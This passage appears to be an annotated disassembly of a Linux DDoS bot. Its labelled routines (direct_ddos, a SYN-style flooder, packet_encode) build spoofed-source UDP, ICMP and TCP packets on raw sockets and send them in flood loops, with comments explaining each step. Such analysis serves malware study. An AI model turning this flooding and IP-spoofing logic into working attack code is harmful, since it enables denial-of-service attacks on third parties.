					; sub_8049564+13Fj ...
		test	esi, esi
		jnz	short loc_8049694
		xor	esi, esi
		mov	[ebp+var_688], ebp

loc_8049708:				; CODE XREF: sub_8049564+469j
		cmp	[ebp+arg_2C], 0
		jnz	short loc_8049723
		lea	eax, [ebp+var_648]
		push	eax
		call	inet_addr
		mov	[ebp+var_224], eax
		add	esp, 4

loc_8049723:				; CODE XREF: sub_8049564+1A8j
		mov	edx, [ebp+var_688]
		add	edx, 0FFFFFDE8h
		mov	eax, [ebp+esi*4+var_24]
		push	eax
		push	edx
		mov	ebx, [ebp+var_67C]
		push	ebx
		call	memcpy
		add	esp, 0Ch
		call	__random
		mov	ebx, 0FFh
		cdq
		idiv	ebx
		mov	ebx, [ebp+var_67C]
		mov	[ebx], dl
		call	__random
		mov	ebx, 0FFh
		cdq
		idiv	ebx
		mov	ebx, [ebp+var_67C]
		mov	[ebx+1], dl
		cmp	[ebp+arg_24], 0
		jnz	short loc_804978C
		cmp	[ebp+arg_28], 0
		jnz	short loc_804978C
		call	__random
		mov	ebx, 7530h
		cdq
		idiv	ebx
		mov	eax, edx
		jmp	short loc_8049796
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804978C:				; CODE XREF: sub_8049564+20Fj
					; sub_8049564+215j
		mov	eax, [ebp+arg_24]
		shl	eax, 8
		add	ax, word ptr [ebp+arg_28]

loc_8049796:				; CODE XREF: sub_8049564+226j
		xchg	al, ah
		mov	ebx, [ebp+var_678]
		mov	[ebx], ax
		mov	ebx, [ebp+var_678]
		mov	word ptr [ebx+2], 3500h
		mov	ax, word ptr [ebp+esi*4+var_24]
		add	ax, 8
		xchg	al, ah
		mov	[ebx+4], ax
		mov	word ptr [ebx+6], 0
		cmp	[ebp+var_664], 0
		jnz	short loc_804983C
		cmp	[ebp+var_668], 0
		jnz	short loc_804983C
		cmp	[ebp+var_66C], 0
		jnz	short loc_804983C
		cmp	[ebp+var_670], 0
		jnz	short loc_804983C
		call	__random
		mov	dl, al
		cmp	dl, 0FFh
		setnb	al
		add	dl, al
		mov	[ebp+var_61C], dl
		call	__random
		mov	dl, al
		cmp	dl, 0FFh
		setnb	al
		add	dl, al
		mov	[ebp+var_61B], dl
		call	__random
		mov	dl, al
		cmp	dl, 0FFh
		setnb	al
		add	dl, al
		mov	[ebp+var_61A], dl
		call	__random
		mov	dl, al
		cmp	dl, 0FFh
		setnb	al
		add	dl, al
		mov	[ebp+var_619], dl
		jmp	short loc_804986C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804983C:				; CODE XREF: sub_8049564+265j
					; sub_8049564+26Ej ...
		mov	bl, [ebp+var_664]
		mov	[ebp+var_61C], bl
		mov	bl, [ebp+var_668]
		mov	[ebp+var_61B], bl
		mov	bl, [ebp+var_66C]
		mov	[ebp+var_61A], bl
		mov	bl, [ebp+var_670]
		mov	[ebp+var_619], bl

loc_804986C:				; CODE XREF: sub_8049564+2D6j
		cmp	[ebp+arg_2C], 0
		jnz	short loc_80498A2
		mov	bl, [ebp+var_654]
		mov	[ebp+var_618], bl
		mov	bl, [ebp+var_658]
		mov	[ebp+var_617], bl
		mov	bl, [ebp+var_65C]
		mov	[ebp+var_616], bl
		mov	bl, [ebp+var_660]
		mov	[ebp+var_615], bl

loc_80498A2:				; CODE XREF: sub_8049564+30Cj
		mov	byte ptr [edi],	45h
		call	__random
		mov	ebx, 82h
		cdq
		idiv	ebx
		add	dl, 78h
		mov	[edi+8], dl
		call	__random
		mov	ebx, 0FFh
		cdq
		idiv	ebx
		mov	[edi+4], dx
		mov	byte ptr [edi+9], 11h
		mov	word ptr [edi+6], 0
		mov	ax, word ptr [ebp+esi*4+var_24]
		add	ax, 1Ch
		xchg	al, ah
		mov	[edi+2], ax
		mov	word ptr [edi+0Ah], 0
		mov	edx, 14h
		lea	ebx, [ebp+var_628]
		mov	[ebp+var_68C], ebx
		xor	ecx, ecx
		mov	[ebp+var_64E], 0

loc_8049904:				; CODE XREF: sub_8049564+3BAj
		mov	ebx, [ebp+var_68C]
		movzx	eax, word ptr [ebx]
		add	ecx, eax
		add	ebx, 2
		mov	[ebp+var_68C], ebx
		add	edx, 0FFFFFFFEh
		cmp	edx, 1
		jg	short loc_8049904
		jnz	short loc_8049933
		mov	al, [ebx]
		mov	byte ptr [ebp+var_64E],	al
		movzx	eax, [ebp+var_64E]
		add	ecx, eax

loc_8049933:				; CODE XREF: sub_8049564+3BCj
		mov	edx, ecx
		sar	edx, 10h
		movzx	eax, cx
		lea	ecx, [eax+edx]
		mov	eax, ecx
		sar	eax, 10h
		add	ecx, eax
		mov	eax, ecx
		not	ax
		mov	[ebp+var_64E], ax
		mov	[edi+0Ah], ax
		push	10h
		lea	eax, [ebp+var_228]
		push	eax
		push	0
		mov	eax, [ebp+esi*4+var_24]
		add	eax, 1Ch
		push	eax
		lea	eax, [ebp+var_628]
		push	eax
		mov	ebx, [ebp+var_674]
		push	ebx
		call	sendto
		add	esp, 18h
		cmp	[ebp+arg_20], 0
		jnz	short loc_8049990
		push	12Ch
		call	usleep
		jmp	short loc_80499AF
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8049990:				; CODE XREF: sub_8049564+41Ej
		mov	ebx, [ebp+arg_20]
		cmp	[ebp+var_680], ebx
		jnz	short loc_80499BC
		push	12Ch
		call	usleep
		mov	[ebp+var_680], 0

loc_80499AF:				; CODE XREF: sub_8049564+42Aj
		dec	[ebp+var_684]
		add	esp, 4
		jmp	short loc_80499C2
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80499BC:				; CODE XREF: sub_8049564+435j
		inc	[ebp+var_680]

loc_80499C2:				; CODE XREF: sub_8049564+454j
		add	[ebp+var_688], 32h
		inc	esi
		cmp	esi, 8
		jle	loc_8049708
		jmp	loc_8049694
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80499D8:				; CODE XREF: sub_8049564+103j
		mov	ds:child_pid, 0
		xor	eax, eax
		lea	esp, [ebp+var_698]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_8049564	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

direct_ddos	proc near		; CODE XREF: real_start+74Ep

var_AC		= byte ptr -0ACh
sockaddr_addr	= dword	ptr -0A0h
msglen		= dword	ptr -9Ch
sock		= dword	ptr -98h
ip_src_C	= byte ptr -94h
ip_src_B	= byte ptr -90h
ip_src_A	= byte ptr -8Ch
ip_dst_D	= byte ptr -88h
ip_dst_C	= byte ptr -84h
ip_dst_B	= byte ptr -80h
ip_dst_A	= byte ptr -7Ch
ip_dest_copy	= dword	ptr -78h
var_72		= word ptr -72h
ip_src_str	= byte ptr -70h
ip_dst_str	= byte ptr -50h
ip_buf		= byte ptr -30h
ip_tos		= byte ptr -2Fh
ip_length	= word ptr -2Eh
ip_id		= word ptr -2Ch
ip_frag		= word ptr -2Ah
ip_ttl		= byte ptr -28h
ip_proto	= byte ptr -27h
ip_checksum	= word ptr -26h
ip_src		= dword	ptr -24h
ip_dest		= dword	ptr -20h
udp_sport	= word ptr -1Ch
udp_dport	= word ptr -1Ah
udp_len		= word ptr -18h
udp_checksum	= word ptr -16h
var_14		= byte ptr -14h
sockaddr_family	= word ptr -10h
sockaddr_port	= word ptr -0Eh
sockaddr_ip	= dword	ptr -0Ch
proto_udp	= dword	ptr  8
dest_port	= word ptr  0Ch
ip_dst_A_	= byte ptr  10h
ip_dst_B_	= byte ptr  14h
ip_dst_C_	= byte ptr  18h
ip_dst_D_	= byte ptr  1Ch
ip_src_A_	= byte ptr  20h
ip_src_B_	= byte ptr  24h
ip_src_C_	= byte ptr  28h
ip_src_D_	= byte ptr  2Ch
do_resolve	= dword	ptr  30h
hostname	= dword	ptr  34h

		push	ebp
		mov	ebp, esp
		sub	esp, 0A0h
		push	edi
		push	esi
		push	ebx
		mov	cl, [ebp+ip_dst_A_]
		mov	[ebp+ip_dst_A],	cl
		mov	cl, [ebp+ip_dst_B_]
		mov	[ebp+ip_dst_B],	cl
		mov	cl, [ebp+ip_dst_C_]
		mov	[ebp+ip_dst_C],	cl
		mov	cl, [ebp+ip_dst_D_]
		mov	[ebp+ip_dst_D],	cl
		mov	cl, [ebp+ip_src_A_]
		mov	[ebp+ip_src_A],	cl
		mov	cl, [ebp+ip_src_B_]
		mov	[ebp+ip_src_B],	cl
		mov	cl, [ebp+ip_src_C_]
		mov	[ebp+ip_src_C],	cl
		mov	bl, [ebp+ip_src_D_]
		mov	[ebp+sockaddr_family], 2
		call	__random
		mov	ecx, 0FFh
		cdq
		idiv	ecx		; random number	between	0 and 254
		mov	eax, edx
		xchg	al, ah		; htons	(random	number)
		mov	[ebp+sockaddr_port], ax
		movzx	eax, bl
		push	eax		; packet11
		movzx	eax, [ebp+ip_src_C]
		push	eax
		movzx	eax, [ebp+ip_src_B]
		push	eax
		movzx	eax, [ebp+ip_src_A]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		lea	esi, [ebp+ip_src_str]
		push	esi
		call	sprintf
		add	esp, 18h
		cmp	[ebp+do_resolve], 0
		jnz	short loc_8049ABE
		movzx	eax, [ebp+ip_dst_D]
		push	eax
		movzx	eax, [ebp+ip_dst_C]
		push	eax
		movzx	eax, [ebp+ip_dst_B]
		push	eax
		movzx	eax, [ebp+ip_dst_A]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		lea	ebx, [ebp+ip_dst_str]
		push	ebx
		call	sprintf
		push	ebx
		call	inet_addr
		mov	[ebp+sockaddr_ip], eax ; destination address
		add	esp, 1Ch

loc_8049ABE:				; CODE XREF: direct_ddos+94j
		push	0FFh
		push	3
		push	2
		call	socket		; open a SOCK_RAW socket, type PF_INET,	proto IPPROTO_RAW
		mov	[ebp+sock], eax
		add	esp, 0Ch
		test	eax, eax
		jle	exit
		mov	[ebp+ip_buf], 45h
		mov	[ebp+ip_length], 1C28h
		mov	[ebp+ip_id], 5504h
		call	__random
		mov	ecx, 82h
		cdq
		idiv	ecx
		add	dl, 78h
		mov	[ebp+ip_ttl], dl ; ttl from 120	to 249
		push	esi		; source address
		call	inet_addr
		mov	[ebp+ip_src], eax
		add	esp, 4
		cmp	[ebp+do_resolve], 0
		jnz	short loc_8049B21
		lea	eax, [ebp+ip_dst_str]
		push	eax
		call	inet_addr	; destination address
		mov	[ebp+ip_dest], eax
		add	esp, 4

loc_8049B21:				; CODE XREF: direct_ddos+11Cj
		mov	[ebp+ip_frag], 0FE1Fh
		mov	[ebp+ip_checksum], 0
		cmp	[ebp+proto_udp], 0
		jz	short icmp_packet
		mov	[ebp+ip_proto],	11h ; IPPROTO_UDP
		call	__random
		mov	ecx, 0FFh
		cdq
		idiv	ecx
		mov	eax, edx
		xchg	al, ah
		mov	[ebp+udp_sport], ax ; source port between 0 and	254
		mov	ax, [ebp+dest_port]
		xchg	al, ah
		mov	[ebp+udp_dport], ax
		mov	[ebp+udp_len], 900h
		mov	edx, 9
		lea	esi, [ebp+udp_sport]
		xor	ebx, ebx
		mov	[ebp+var_72], 0

loc_8049B6C:				; CODE XREF: direct_ddos+186j
		movzx	eax, word ptr [esi]
		add	ebx, eax
		add	esi, 2
		add	edx, 0FFFFFFFEh
		cmp	edx, 1
		jg	short loc_8049B6C
		jnz	short loc_8049B89
		mov	al, [esi]
		mov	byte ptr [ebp+var_72], al
		movzx	eax, [ebp+var_72]
		add	ebx, eax

loc_8049B89:				; CODE XREF: direct_ddos+188j
		mov	edx, ebx
		sar	edx, 10h
		movzx	eax, bx
		lea	ebx, [eax+edx]
		mov	eax, ebx
		sar	eax, 10h
		add	ebx, eax
		mov	eax, ebx
		not	ax
		mov	[ebp+var_72], ax
		mov	[ebp+udp_checksum], ax
		mov	[ebp+var_14], 61h
		jmp	short ip_packet
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

icmp_packet:				; CODE XREF: direct_ddos+13Dj
		mov	[ebp+ip_proto],	1 ; IPPROTO_ICMP
		mov	byte ptr [ebp+udp_sport], 8 ; echo request
		mov	byte ptr [ebp+udp_sport+1], 0
		mov	[ebp+udp_dport], 0 ; icmp checksum
		mov	edx, 9
		lea	esi, [ebp+udp_sport]
		xor	ebx, ebx
		mov	[ebp+var_72], 0
		lea	esi, [esi]

loc_8049BD4:				; CODE XREF: direct_ddos+1EEj
		movzx	eax, word ptr [esi]
		add	ebx, eax
		add	esi, 2
		add	edx, 0FFFFFFFEh
		cmp	edx, 1
		jg	short loc_8049BD4
		jnz	short loc_8049BF1
		mov	al, [esi]
		mov	byte ptr [ebp+var_72], al
		movzx	eax, [ebp+var_72]
		add	ebx, eax

loc_8049BF1:				; CODE XREF: direct_ddos+1F0j
		mov	edx, ebx
		sar	edx, 10h
		movzx	eax, bx
		lea	ebx, [eax+edx]
		mov	eax, ebx
		sar	eax, 10h
		add	ebx, eax
		mov	eax, ebx
		not	ax
		mov	[ebp+var_72], ax
		mov	[ebp+udp_dport], ax ; icmp checksum

ip_packet:				; CODE XREF: direct_ddos+1B8j
		mov	[ebp+msglen], 1Dh
		mov	edx, 14h
		lea	esi, [ebp+ip_buf]
		xor	ebx, ebx
		mov	[ebp+var_72], 0
		lea	esi, [esi]

loc_8049C2C:				; CODE XREF: direct_ddos+246j
		movzx	eax, word ptr [esi]
		add	ebx, eax
		add	esi, 2
		add	edx, 0FFFFFFFEh
		cmp	edx, 1
		jg	short loc_8049C2C
		jnz	short loc_8049C49
		mov	al, [esi]
		mov	byte ptr [ebp+var_72], al
		movzx	eax, [ebp+var_72]
		add	ebx, eax

loc_8049C49:				; CODE XREF: direct_ddos+248j
		mov	edx, ebx
		sar	edx, 10h
		movzx	eax, bx
		lea	ebx, [eax+edx]
		mov	eax, ebx
		sar	eax, 10h
		add	ebx, eax
		mov	eax, ebx
		not	ax
		mov	[ebp+var_72], ax
		mov	[ebp+ip_checksum], ax
		xor	ebx, ebx
		lea	ecx, [ebp+sockaddr_family]
		mov	[ebp+sockaddr_addr], ecx
		lea	edi, [ebp+ip_buf]
		lea	esi, [esi]

loc_8049C78:				; CODE XREF: direct_ddos+32Aj
		xor	esi, esi
		cmp	[ebp+do_resolve], 0
		jz	short loc_8049CCE
		test	ebx, ebx
		jg	short loc_8049CCE
		mov	ecx, [ebp+hostname]
		push	ecx
		call	gethostbyname
		mov	edx, eax
		add	esp, 4
		test	edx, edx
		jnz	short loc_8049CAC
		push	258h
		call	sleep
		mov	esi, 1
		add	esp, 4
		jmp	short loc_8049CCE
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8049CAC:				; CODE XREF: direct_ddos+2A0j
		push	4
		lea	eax, [ebp+ip_dest_copy]
		push	eax
		mov	eax, [edx+10h]
		mov	eax, [eax]
		push	eax
		call	bcopy
		mov	eax, [ebp+ip_dest_copy]
		mov	[ebp+ip_dest], eax
		mov	[ebp+sockaddr_ip], eax
		mov	ebx, 9C40h	; resolve every	40000 packets
		add	esp, 0Ch

loc_8049CCE:				; CODE XREF: direct_ddos+28Aj
					; direct_ddos+28Ej ...
		test	esi, esi
		jnz	short loc_8049D1D
		push	10h		; sockaddr_len
		mov	ecx, [ebp+sockaddr_addr]
		push	ecx
		push	0		; flags
		mov	ecx, [ebp+msglen]
		push	ecx
		push	edi		; msg
		mov	ecx, [ebp+sock]
		push	ecx
		call	sendto
		push	10h
		mov	ecx, [ebp+sockaddr_addr]
		push	ecx
		push	0
		mov	ecx, [ebp+msglen]
		push	ecx
		push	edi
		mov	ecx, [ebp+sock]
		push	ecx
		call	sendto
		add	esp, 30h
		push	14h
		call	usleep
		add	esp, 4

loc_8049D1D:				; CODE XREF: direct_ddos+2DCj
		dec	ebx
		jmp	loc_8049C78
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

exit:					; CODE XREF: direct_ddos+E3j
		mov	ds:child_pid, 0
		xor	eax, eax
		lea	esp, [ebp+var_AC]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
direct_ddos	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_8049D40	proc near		; CODE XREF: real_start+BC4p
					; real_start+C9Ep

var_D8		= byte ptr -0D8h
var_CC		= dword	ptr -0CCh
var_C8		= byte ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= byte ptr -0BCh
var_B8		= byte ptr -0B8h
var_B4		= byte ptr -0B4h
var_B0		= byte ptr -0B0h
var_AC		= byte ptr -0ACh
var_A8		= byte ptr -0A8h
var_A4		= byte ptr -0A4h
var_9E		= word ptr -9Eh
var_9C		= dword	ptr -9Ch
var_98		= byte ptr -98h
var_78		= byte ptr -78h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= byte ptr -50h
var_4F		= byte ptr -4Fh
var_4E		= word ptr -4Eh
var_4C		= byte ptr -4Ch
var_38		= byte ptr -38h
var_37		= byte ptr -37h
var_36		= word ptr -36h
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= byte ptr -30h
var_2F		= byte ptr -2Fh
var_2E		= word ptr -2Eh
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= word ptr -16h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_8		= byte ptr  10h
arg_C		= byte ptr  14h
arg_10		= dword	ptr  18h
arg_14		= word ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= byte ptr  24h
arg_20		= byte ptr  28h
arg_24		= byte ptr  2Ch
arg_28		= byte ptr  30h
arg_2C		= dword	ptr  34h
arg_30		= dword	ptr  38h
arg_34		= dword	ptr  3Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0CCh
		push	edi
		push	esi
		push	ebx
		mov	bl, [ebp+arg_0]
		mov	[ebp+var_A4], bl
		mov	bl, [ebp+arg_4]
		mov	[ebp+var_A8], bl
		mov	bl, [ebp+arg_8]
		mov	[ebp+var_AC], bl
		mov	bl, [ebp+arg_C]
		mov	[ebp+var_C8], bl
		mov	bl, [ebp+arg_1C]
		mov	[ebp+var_B0], bl
		mov	bl, [ebp+arg_20]
		mov	[ebp+var_B4], bl
		mov	bl, [ebp+arg_24]
		mov	[ebp+var_B8], bl
		mov	bl, [ebp+arg_28]
		mov	[ebp+var_BC], bl
		cmp	[ebp+arg_2C], 0
		jz	short loc_8049D9D
		dec	[ebp+arg_2C]

loc_8049D9D:				; CODE XREF: sub_8049D40+58j
		push	0
		call	__libc_time
		add	esp, 4
		push	eax
		call	srand
		add	esp, 4
		mov	[ebp+var_10], 2
		call	__random
		mov	ebx, 0FFh
		cdq
		idiv	ebx
		mov	eax, edx
		xchg	al, ah
		mov	[ebp+var_E], ax
		cmp	[ebp+arg_30], 0
		jnz	short loc_8049E0B
		movzx	eax, [ebp+var_C8]
		push	eax
		movzx	eax, [ebp+var_AC]
		push	eax
		movzx	eax, [ebp+var_A8]
		push	eax
		movzx	eax, [ebp+var_A4]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		lea	ebx, [ebp+var_78]
		push	ebx
		call	sprintf
		push	ebx
		call	inet_addr
		mov	[ebp+var_C], eax
		add	esp, 1Ch

loc_8049E0B:				; CODE XREF: sub_8049D40+8Fj
		mov	[ebp+var_38], 45h
		mov	[ebp+var_36], 2800h
		mov	[ebp+var_37], 0
		push	0FFh
		push	3
		push	2
		call	socket		; open a SOCK_RAW socket, type PF_INET,	proto IPPROTO_RAW
		mov	[ebp+var_C0], eax
		add	esp, 0Ch
		test	eax, eax
		jle	loc_804A178
		cmp	[ebp+arg_18], 0
		jz	short loc_8049E72
		movzx	eax, [ebp+var_BC]
		push	eax
		movzx	eax, [ebp+var_B8]
		push	eax
		movzx	eax, [ebp+var_B4]
		push	eax
		movzx	eax, [ebp+var_B0]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		lea	eax, [ebp+var_98]
		push	eax
		call	sprintf
		add	esp, 18h

loc_8049E72:				; CODE XREF: sub_8049D40+FCj
		cmp	[ebp+arg_30], 0
		jnz	short loc_8049E87
		lea	eax, [ebp+var_78]
		push	eax
		call	inet_addr
		mov	[ebp+var_28], eax
		add	esp, 4

loc_8049E87:				; CODE XREF: sub_8049D40+136j
		mov	[ebp+var_32], 0
		mov	[ebp+var_2F], 6
		mov	al, [ebp+var_17]
		and	al, 0EFh
		mov	[ebp+var_17], al
		mov	al, [ebp+var_18]
		and	al, 0Fh
		or	al, 50h
		mov	[ebp+var_18], al
		mov	[ebp+var_1C], 0
		and	al, 50h
		mov	[ebp+var_18], al
		mov	[ebp+var_17], 2
		mov	[ebp+var_12], 0
		mov	eax, [ebp+arg_10]
		shl	eax, 8
		add	ax, [ebp+arg_14]
		xchg	al, ah
		mov	[ebp+var_22], ax
		xor	edi, edi
		mov	[ebp+var_50], 0
		cmp	[ebp+arg_30], 0
		jnz	short loc_8049EDB
		mov	eax, [ebp+var_28]
		mov	[ebp+var_54], eax

loc_8049EDB:				; CODE XREF: sub_8049D40+193j
		mov	[ebp+var_4F], 6
		mov	[ebp+var_4E], 1400h
		xor	esi, esi
		lea	ebx, [ebp+var_58]
		mov	[ebp+var_C4], ebx

loc_8049EF0:				; CODE XREF: sub_8049D40+222j
					; sub_8049D40+429j ...
		mov	[ebp+var_CC], 0
		cmp	[ebp+arg_30], 0
		jz	short loc_8049F5B
		test	esi, esi
		jg	short loc_8049F5B
		mov	ebx, [ebp+arg_34]
		push	ebx
		call	gethostbyname
		mov	edx, eax
		add	esp, 4
		test	edx, edx
		jnz	short loc_8049F30
		push	258h
		call	sleep
		mov	[ebp+var_CC], 1
		add	esp, 4
		jmp	short loc_8049F5B
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8049F30:				; CODE XREF: sub_8049D40+1D4j
		push	4
		lea	eax, [ebp+var_9C]
		push	eax
		mov	eax, [edx+10h]
		mov	eax, [eax]
		push	eax
		call	bcopy
		mov	eax, [ebp+var_9C]
		mov	[ebp+var_28], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_54], eax
		mov	esi, 9C40h
		add	esp, 0Ch

loc_8049F5B:				; CODE XREF: sub_8049D40+1BEj
					; sub_8049D40+1C2j ...
		cmp	[ebp+var_CC], 0
		jnz	short loc_8049EF0
		call	random
		mov	ebx, 0C11h
		cdq
		idiv	ebx
		mov	eax, edx
		add	ah, 2
		xchg	al, ah
		mov	[ebp+var_34], ax
		call	random
		mov	ebx, 579h
		cdq
		idiv	ebx
		mov	eax, edx
		add	ax, 0C8h
		xchg	al, ah
		mov	[ebp+var_16], ax
		call	random
		mov	ebx, 9C40h
		cdq
		idiv	ebx
		mov	eax, edx
		inc	ax
		xchg	al, ah
		mov	[ebp+var_24], ax
		call	random
		mov	ebx, 2625A00h
		cdq
		idiv	ebx
		lea	eax, [edx+1]
		xchg	al, ah
		ror	eax, 10h
		xchg	al, ah
		mov	[ebp+var_20], eax
		call	random
		mov	ebx, 74h
		cdq
		idiv	ebx
		add	dl, 7Dh
		mov	[ebp+var_30], dl
		cmp	[ebp+arg_18], 0
		jnz	short loc_804A01C
		call	__random
		mov	ebx, 0FFh
		cdq
		idiv	ebx
		push	edx
		call	__random
		cdq
		idiv	ebx
		push	edx
		call	__random
		cdq
		idiv	ebx
		push	edx
		call	__random
		cdq
		idiv	ebx
		push	edx
		push	offset aU_U_U_U	; "%u.%u.%u.%u"
		lea	eax, [ebp+var_98]
		push	eax
		call	sprintf
		add	esp, 18h

loc_804A01C:				; CODE XREF: sub_8049D40+29Dj
		lea	eax, [ebp+var_98]
		push	eax
		call	inet_addr
		mov	[ebp+var_2C], eax
		mov	[ebp+var_58], eax
		mov	[ebp+var_14], 0
		mov	[ebp+var_2E], 0
		push	14h
		lea	eax, [ebp+var_4C]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		call	bcopy
		add	esp, 10h
		mov	edx, 20h
		mov	ebx, [ebp+var_C4]
		mov	[ebp+var_CC], ebx
		xor	ecx, ecx
		mov	[ebp+var_9E], 0

loc_804A068:				; CODE XREF: sub_8049D40+342j
		mov	ebx, [ebp+var_CC]
		movzx	eax, word ptr [ebx]
		add	ecx, eax
		add	ebx, 2
		mov	[ebp+var_CC], ebx
		add	edx, 0FFFFFFFEh
		cmp	edx, 1
		jg	short loc_804A068
		jnz	short loc_804A097
		mov	al, [ebx]
		mov	byte ptr [ebp+var_9E], al
		movzx	eax, [ebp+var_9E]
		add	ecx, eax

loc_804A097:				; CODE XREF: sub_8049D40+344j
		mov	edx, ecx
		sar	edx, 10h
		movzx	eax, cx
		lea	ecx, [eax+edx]
		mov	eax, ecx
		sar	eax, 10h
		add	ecx, eax
		mov	eax, ecx
		not	ax
		mov	[ebp+var_9E], ax
		mov	[ebp+var_14], ax
		mov	edx, 14h
		lea	ebx, [ebp+var_38]
		mov	[ebp+var_CC], ebx
		xor	ecx, ecx
		mov	[ebp+var_9E], 0
		lea	esi, [esi]

loc_804A0D4:				; CODE XREF: sub_8049D40+3AEj
		mov	ebx, [ebp+var_CC]
		movzx	eax, word ptr [ebx]
		add	ecx, eax
		add	ebx, 2
		mov	[ebp+var_CC], ebx
		add	edx, 0FFFFFFFEh
		cmp	edx, 1
		jg	short loc_804A0D4
		jnz	short loc_804A103
		mov	al, [ebx]
		mov	byte ptr [ebp+var_9E], al
		movzx	eax, [ebp+var_9E]
		add	ecx, eax

loc_804A103:				; CODE XREF: sub_8049D40+3B0j
		mov	edx, ecx
		sar	edx, 10h
		movzx	eax, cx
		lea	ecx, [eax+edx]
		mov	eax, ecx
		sar	eax, 10h
		add	ecx, eax
		mov	eax, ecx
		not	ax
		mov	[ebp+var_9E], ax
		mov	[ebp+var_2E], ax
		push	10h
		lea	eax, [ebp+var_10]
		push	eax
		push	0
		push	28h
		lea	eax, [ebp+var_38]
		push	eax
		mov	ebx, [ebp+var_C0]
		push	ebx
		call	sendto
		add	esp, 18h
		cmp	[ebp+arg_2C], 0
		jnz	short loc_804A154
		push	12Ch
		call	usleep
		jmp	short loc_804A165
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804A154:				; CODE XREF: sub_8049D40+406j
		cmp	[ebp+arg_2C], edi
		jnz	short loc_804A170
		push	12Ch
		call	usleep
		xor	edi, edi

loc_804A165:				; CODE XREF: sub_8049D40+412j
		dec	esi
		add	esp, 4
		jmp	loc_8049EF0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804A170:				; CODE XREF: sub_8049D40+417j
		inc	edi
		jmp	loc_8049EF0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804A178:				; CODE XREF: sub_8049D40+F2j
		mov	ds:child_pid, 0
		xor	eax, eax
		lea	esp, [ebp+var_D8]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_8049D40	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

packet_encode	proc near		; CODE XREF: real_start+286p
					; real_start+582p

var_C		= byte ptr -0Ch
input_size	= dword	ptr  8
input		= dword	ptr  0Ch
output		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	edi, [ebp+input_size]
		mov	esi, [ebp+input]
		mov	ebx, [ebp+output]
		mov	al, ds:crypto_key
		mov	[ebx], al
		mov	al, [esi]
		add	al, 17h
		movsx	eax, al
		push	eax
		push	offset aC	; "%c"
		push	ebx
		call	sprintf		; output[0] = crypto_key + 0x17
		mov	ecx, 1
		cmp	ecx, edi
		jz	short loc_804A1DD
		nop

loc_804A1C8:				; CODE XREF: packet_encode+47j
		movzx	edx, byte ptr [ebx+ecx-1]
		movzx	eax, byte ptr [ecx+esi]
		lea	eax, [edx+eax+17h]
		mov	[ecx+ebx], al	; output[ecx] =	outpuc[ecx-1] +	input[ecx] + 0x17
		inc	ecx
		cmp	ecx, edi
		jnz	short loc_804A1C8 ; while (ecx < input_size)

loc_804A1DD:				; CODE XREF: packet_encode+31j
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
packet_encode	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

packet_decode	proc near		; CODE XREF: real_start+1D8p

var_10		= byte ptr -10h
str_ptr		= dword	ptr -4
input_size	= dword	ptr  8
